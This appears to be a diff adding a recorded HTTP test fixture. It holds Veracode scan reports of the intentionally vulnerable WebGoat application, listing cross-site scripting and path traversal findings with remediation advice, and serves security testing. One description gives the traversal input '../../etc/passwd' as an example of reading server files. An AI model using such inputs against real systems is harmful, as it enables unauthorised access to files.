+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:16:21 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200073'
+      Date:
+      - Tue, 27 Oct 2015 12:17:29 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:17:30 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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